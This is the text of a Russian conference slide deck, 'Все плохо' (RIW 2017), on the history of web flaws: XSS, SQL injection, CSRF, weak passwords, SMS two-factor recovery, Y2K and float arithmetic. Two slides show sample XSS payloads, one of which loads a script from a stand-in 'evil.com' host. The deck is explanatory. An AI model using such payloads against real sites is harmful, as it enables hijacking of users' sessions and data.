ݺߣ

ݺߣShare a Scribd company logo
Все плохо
В 1930-х годах правительство США поручило Гарвардскому
и Принстонскому университетам разработать архитектуру
ЭВМ для военно-морской артиллерии.
• Архитектура фон Неймана
Совместное использование шины для памяти программ и памяти
данных
• Гарвардская архитектура
Исходя из физического разделения шин команд и данных,
разрядности этих шин (следовательно, и адресные пространства)
могут различаться и физически не могут пересекаться
• Архитектура фон Неймана
Совместное использование шины для памяти программ и памяти
данных
• Гарвардская архитектура
Исходя из физического разделения шин команд и данных,
разрядности этих шин (следовательно, и адресные пространства)
могут различаться и физически не могут пересекаться
Как люди с болью и
страданиями шли к
современному интернету
Тим
Бернерс-Ли,
создатель
WWW
А для чего?
Для публикации гипертекстовых
документов, которые были бы связаны
между собой гиперссылками.
Приставку «гипер» тогда любили, да.
Как сейчас «кибер».
Интернет Камень
Возможность записи текста Да Да
Передача данных На длинные расстояния Только на короткие расстояния
Децентрализованность Да Нет
Удобство Да Нет
OOPS
Уже в 1980-е годы стало очевидно, что
распределение адресного пространства
происходит значительно более
быстрыми темпами, чем было
заложено в архитектуру IPv4. Это
привело сначала к появлению
классовой адресации, позднее
бесклассовой адресации, и в конечном
итоге к разработке нового протокола
IPv6.
Сейчас IPv6 дает практически
неограниченное количество
«прокси» злоумышленникам
Первая страница в интернете
RIW 2017 | Все плохо
RIW 2017 | Все плохо
RIW 2017 | Все плохо
RIW 2017 | Все плохо
HTTP
HyperText Transfer Protocol
RIW 2017 | Все плохо
1995
Выход
Windows 95
Referer или Referrer?
Авторизация пользователей «секретным словом»
Формы уязвимы к атакам CSRF (межсайтовая подделка
запроса) - костыль, csrf-токены и их аналоги
Пароли передаются прямо в ссылке (костыль –
внедрение сессионных идентификаторов)
Фиксация сессии и их утечки
Много Perl и
Personal Home Page Tools
Personal Home Page Tools
PHP развивает мир
динамических
сайтов
• Низкий порог вхождения
(легкий и понятный ЯП)
• PHP код можно внедрять в HTML
страницу (и наоборот)
• Поддержка множества баз
данных (да здравствуют SQL
инъекции)
Теперь страницы могут
полноценно работать с
пользовательскими данными
Что было и что осталось
Костыли вида <a href=“javascript:void(0)”>tag</a>
Верстка таблицами и прозрачными картинками
Мертвые теги 90х, такие как marquee (бегущая
строка).
Много лишнего
• Осенью 2009 года Бернерс-Ли
извинился за то, что в созданном им
стандарте веб-адресов
используются две косые черты
("слэши" - "//"). По его словам, они
были совершенно лишними, и
добавление их к адресам вызывало
исключительно трату времени.
• www.site.com, ну вот зачем тут
www?
Какой тег
является
корректным
для HTML?
Какой тег корректный?
C) <BR>
D) </BR>
A) <BR></BR>
D) <BR />
Основная часть парсеров HTML
– это поддержка устаревшей
функциональности
HTML тебя поддерживает
JS
Mocha
LiveScript
JavaScript
HTML & JS
Отсутствие строгой консистентности
(Да браузер отрендерит, он же умный)
XSS
Javascript может работать с данными
пользователя, а значит копировать
злоумышленнику, удалять или
изменять
От атак с помощью js очень сложно
защититься
1) Неявные вызовы функций
2) Отсутствие строгой консистентности для
интерпретации (тот же jsfuck.com)
3) Он умеет все, что может пользователь, только больше
(работать с данными, DOM-деревом, кликать кнопочки)
RIW 2017 | Все плохо
Классификации уязвимостей
RIW 2017 | Все плохо
Одна из проблем уязвимостей
Уязвимости недооценивают
01
Уязвимости переоценивают
02
Общая проблема классификации
Крошка сын к отцу пришел и спросила кроха:
- что такое XSS и чем это плохо?
Давайте попробуем классифицировать XSS
XSS
Это не уязвимость, это атака
(как следствие недостаточной фильтрации
пользовательских данных)
XSS
XSS – Cross Site Scripting (ну мы прост букву
изменили, потому что можем)
По Wiki– межсайтовый скриптинг
XSS
Поможем перевести. Что такое скриптинг?
XSS
Атака межсайтового выполнения
сценариев
(речь идет конечно же о js, но это не точно)
Ок, поехали дальше.
XSS
Опасная атака? Какой уровень угрозы?
XSS
XSS на пустом лендинге или на
bitrix/wordpress (как следствие –
выполнение произвольных команд ОС)
XSS
?id=‘-$.GetScript(‘//evil.com/evil.js’)-’
Мы запросили свой сценарий js. Вот и
межсайтовое выполнение сценариев.
XSS
?id=“><img/src/onerror=javascript:EvilFunc(1)>
Мы выполнили функцию EvilFunc
(значит выполнение сценариев не межсайтовое)
Подытожим
XSS – это Cross Site Scripting с замененной буквой. В
переводе – межсайтовое выполнение сценариев, в
которой выполнение сценариев может быть не
межсайтовым.
Не уязвимость, а атака с разным уровнем риска
¯  _ (ツ) _ / ¯
Пароли
Пароли должны умереть
В среднем 3 используемых
пароля
Повседневный, усложненный и
пароль для использования в
мобильных устройствах
Стандартное
мышление - у многих
людей одинаковые
пароли
Видели плановые
смены паролей?
• Бессмысленная штука, так как
пароли злоумышленник использует
здесь и сейчас
• Начинают использовать
инкрементные пароли
• Есть сообщение, что пароль устарел
– меняют пароль на новый, а затем
тут же на старый
Внедрение двухфакторной
аутентификации
Стало безопаснее?
У нас есть пароль. При входе просит код из SMS.
Злоумышленник крадет телефон или восстанавливает симку.
Жмет «забыл пароль» – восстанавливает пароль через SMS.
Входит в наш аккаунт, подтверждает код из SMS.
Какой-то продукт, это
конструктор из десятков
других решений
Велосипед или Third party?
Мы уже давно перестали
понимать «как это все
работает»
• отказ от документации
• закрытый код
Нажав на слабое звено,
можно порвать всю цепь.
• Некорректные (небезопасные) примеры в книгах, уроки,
преподавание
• Уязвимости «из коробки» – по умолчанию продукты имеют
небезопасную конфигурацию
• Некорректные советы по предотвращению и исправлению
уязвимостей
«экранируй кавычки» - говорили они
«заверни данные в функцию htmlspecialchars» - кричали они
Интернет - анонимная
шутка
• Дезинформация
• Фейковые отзывы
• Боты (в тех же соцсетях)
RIW 2017 | Все плохо
Проблемы арифметики
PHP
8.23 - 8.05 = 0.18
80.23 - 80.05 = ?
Javascript
0.23-0.07=0.16
1.23-1.07= ?
Проблемы арифметики
PHP
8.23 - 8.05 = 0.18
80.23 - 80.05 =
0.18000000000001
Javascript
0.23-0.07=0.16
1.23-1.07=
0.15999999999999992
Проблема 2000 года
Проблема, связанная с тем, что разработчики программного
обеспечения, выпущенного в XX веке, иногда использовали два знака
для представления года в датах, например, 1 января 1961 года в таких
программах представлялось как «01.01.61». Некоторые вычислительные
машины имели уже аппаратную обработку даты, однако всего два
десятичных знака (т.е. вместо 4 цифр "1961" хранились и
обрабатывались только 2 цифры "61", см. подпись ко второй картинке
справа).
При наступлении 1 января 2000 года при двузначном представлении
года после 99 наступал 00 год (то есть 99+1=00), что интерпретировалось
многими старыми программами как 1900, а это, в свою очередь, могло
привести к серьёзным сбоям в работе критических приложений,
например, систем управления технологическими процессами и
финансовых программ.
TODO: Проблема 2038 года
Ожидаемые сбои в программном обеспечении 19 января
2038 года. Данная проблема затрагивает программы и
системы, в которых используется представление времени
по стандарту POSIX (UNIX-время), которое представляет
собой количество секунд, прошедшее с 1 января 1970
года. Такое представление времени — это стандарт для
Unix-подобных операционных систем (из-за
повсеместного использования языка Си).
И еще куча всего
• Wi-Fi
• Смартфоны
• Интернет вещей
• Использование слабых
криптографических функций и
функций свертки
Q?

More Related Content

RIW 2017 | Все плохо

  • 2. В 1930-х годах правительство США поручило Гарвардскому и Принстонскому университетам разработать архитектуру ЭВМ для военно-морской артиллерии.
  • 3. • Архитектура фон Неймана Совместное использование шины для памяти программ и памяти данных • Гарвардская архитектура Исходя из физического разделения шин команд и данных, разрядности этих шин (следовательно, и адресные пространства) могут различаться и физически не могут пересекаться
  • 4. • Архитектура фон Неймана Совместное использование шины для памяти программ и памяти данных • Гарвардская архитектура Исходя из физического разделения шин команд и данных, разрядности этих шин (следовательно, и адресные пространства) могут различаться и физически не могут пересекаться
  • 5. Как люди с болью и страданиями шли к современному интернету
  • 7. А для чего? Для публикации гипертекстовых документов, которые были бы связаны между собой гиперссылками. Приставку «гипер» тогда любили, да. Как сейчас «кибер».
  • 8. Интернет Камень Возможность записи текста Да Да Передача данных На длинные расстояния Только на короткие расстояния Децентрализованность Да Нет Удобство Да Нет
  • 9. OOPS Уже в 1980-е годы стало очевидно, что распределение адресного пространства происходит значительно более быстрыми темпами, чем было заложено в архитектуру IPv4. Это привело сначала к появлению классовой адресации, позднее бесклассовой адресации, и в конечном итоге к разработке нового протокола IPv6.
  • 10. Сейчас IPv6 дает практически неограниченное количество «прокси» злоумышленникам
  • 11. Первая страница в интернете
  • 21. Формы уязвимы к атакам CSRF (межсайтовая подделка запроса) - костыль, csrf-токены и их аналоги Пароли передаются прямо в ссылке (костыль – внедрение сессионных идентификаторов) Фиксация сессии и их утечки
  • 22. Много Perl и Personal Home Page Tools
  • 24. PHP развивает мир динамических сайтов • Низкий порог вхождения (легкий и понятный ЯП) • PHP код можно внедрять в HTML страницу (и наоборот) • Поддержка множества баз данных (да здравствуют SQL инъекции)
  • 25. Теперь страницы могут полноценно работать с пользовательскими данными
  • 26. Что было и что осталось Костыли вида <a href=“javascript:void(0)”>tag</a> Верстка таблицами и прозрачными картинками Мертвые теги 90х, такие как marquee (бегущая строка).
  • 27. Много лишнего • Осенью 2009 года Бернерс-Ли извинился за то, что в созданном им стандарте веб-адресов используются две косые черты ("слэши" - "//"). По его словам, они были совершенно лишними, и добавление их к адресам вызывало исключительно трату времени. • www.site.com, ну вот зачем тут www?
  • 29. Какой тег корректный? C) <BR> D) </BR> A) <BR></BR> D) <BR />
  • 30. Основная часть парсеров HTML – это поддержка устаревшей функциональности HTML тебя поддерживает
  • 32. HTML & JS Отсутствие строгой консистентности (Да браузер отрендерит, он же умный)
  • 33. XSS Javascript может работать с данными пользователя, а значит копировать злоумышленнику, удалять или изменять
  • 34. От атак с помощью js очень сложно защититься 1) Неявные вызовы функций 2) Отсутствие строгой консистентности для интерпретации (тот же jsfuck.com) 3) Он умеет все, что может пользователь, только больше (работать с данными, DOM-деревом, кликать кнопочки)
  • 38. Одна из проблем уязвимостей Уязвимости недооценивают 01 Уязвимости переоценивают 02
  • 39. Общая проблема классификации Крошка сын к отцу пришел и спросила кроха: - что такое XSS и чем это плохо? Давайте попробуем классифицировать XSS
  • 40. XSS Это не уязвимость, это атака (как следствие недостаточной фильтрации пользовательских данных)
  • 41. XSS XSS – Cross Site Scripting (ну мы прост букву изменили, потому что можем) По Wiki– межсайтовый скриптинг
  • 42. XSS Поможем перевести. Что такое скриптинг?
  • 43. XSS Атака межсайтового выполнения сценариев (речь идет конечно же о js, но это не точно) Ок, поехали дальше.
  • 44. XSS Опасная атака? Какой уровень угрозы?
  • 45. XSS XSS на пустом лендинге или на bitrix/wordpress (как следствие – выполнение произвольных команд ОС)
  • 46. XSS ?id=‘-$.GetScript(‘//evil.com/evil.js’)-’ Мы запросили свой сценарий js. Вот и межсайтовое выполнение сценариев.
  • 47. XSS ?id=“><img/src/onerror=javascript:EvilFunc(1)> Мы выполнили функцию EvilFunc (значит выполнение сценариев не межсайтовое)
  • 48. Подытожим XSS – это Cross Site Scripting с замененной буквой. В переводе – межсайтовое выполнение сценариев, в которой выполнение сценариев может быть не межсайтовым. Не уязвимость, а атака с разным уровнем риска ¯ _ (ツ) _ / ¯
  • 50. Пароли должны умереть В среднем 3 используемых пароля Повседневный, усложненный и пароль для использования в мобильных устройствах Стандартное мышление - у многих людей одинаковые пароли
  • 51. Видели плановые смены паролей? • Бессмысленная штука, так как пароли злоумышленник использует здесь и сейчас • Начинают использовать инкрементные пароли • Есть сообщение, что пароль устарел – меняют пароль на новый, а затем тут же на старый
  • 53. Стало безопаснее? У нас есть пароль. При входе просит код из SMS. Злоумышленник крадет телефон или восстанавливает симку. Жмет «забыл пароль» – восстанавливает пароль через SMS. Входит в наш аккаунт, подтверждает код из SMS.
  • 54. Какой-то продукт, это конструктор из десятков других решений Велосипед или Third party?
  • 55. Мы уже давно перестали понимать «как это все работает» • отказ от документации • закрытый код
  • 56. Нажав на слабое звено, можно порвать всю цепь.
  • 57. • Некорректные (небезопасные) примеры в книгах, уроки, преподавание • Уязвимости «из коробки» – по умолчанию продукты имеют небезопасную конфигурацию • Некорректные советы по предотвращению и исправлению уязвимостей «экранируй кавычки» - говорили они «заверни данные в функцию htmlspecialchars» - кричали они
  • 58. Интернет - анонимная шутка • Дезинформация • Фейковые отзывы • Боты (в тех же соцсетях)
  • 60. Проблемы арифметики PHP 8.23 - 8.05 = 0.18 80.23 - 80.05 = ? Javascript 0.23-0.07=0.16 1.23-1.07= ?
  • 61. Проблемы арифметики PHP 8.23 - 8.05 = 0.18 80.23 - 80.05 = 0.18000000000001 Javascript 0.23-0.07=0.16 1.23-1.07= 0.15999999999999992
  • 62. Проблема 2000 года Проблема, связанная с тем, что разработчики программного обеспечения, выпущенного в XX веке, иногда использовали два знака для представления года в датах, например, 1 января 1961 года в таких программах представлялось как «01.01.61». Некоторые вычислительные машины имели уже аппаратную обработку даты, однако всего два десятичных знака (т.е. вместо 4 цифр "1961" хранились и обрабатывались только 2 цифры "61", см. подпись ко второй картинке справа). При наступлении 1 января 2000 года при двузначном представлении года после 99 наступал 00 год (то есть 99+1=00), что интерпретировалось многими старыми программами как 1900, а это, в свою очередь, могло привести к серьёзным сбоям в работе критических приложений, например, систем управления технологическими процессами и финансовых программ.
  • 63. TODO: Проблема 2038 года Ожидаемые сбои в программном обеспечении 19 января 2038 года. Данная проблема затрагивает программы и системы, в которых используется представление времени по стандарту POSIX (UNIX-время), которое представляет собой количество секунд, прошедшее с 1 января 1970 года. Такое представление времени — это стандарт для Unix-подобных операционных систем (из-за повсеместного использования языка Си).
  • 64. И еще куча всего • Wi-Fi • Смартфоны • Интернет вещей • Использование слабых криптографических функций и функций свертки
  • 65. Q?

Editor's Notes

  • #10: Первые костыли – зарезервированные адреса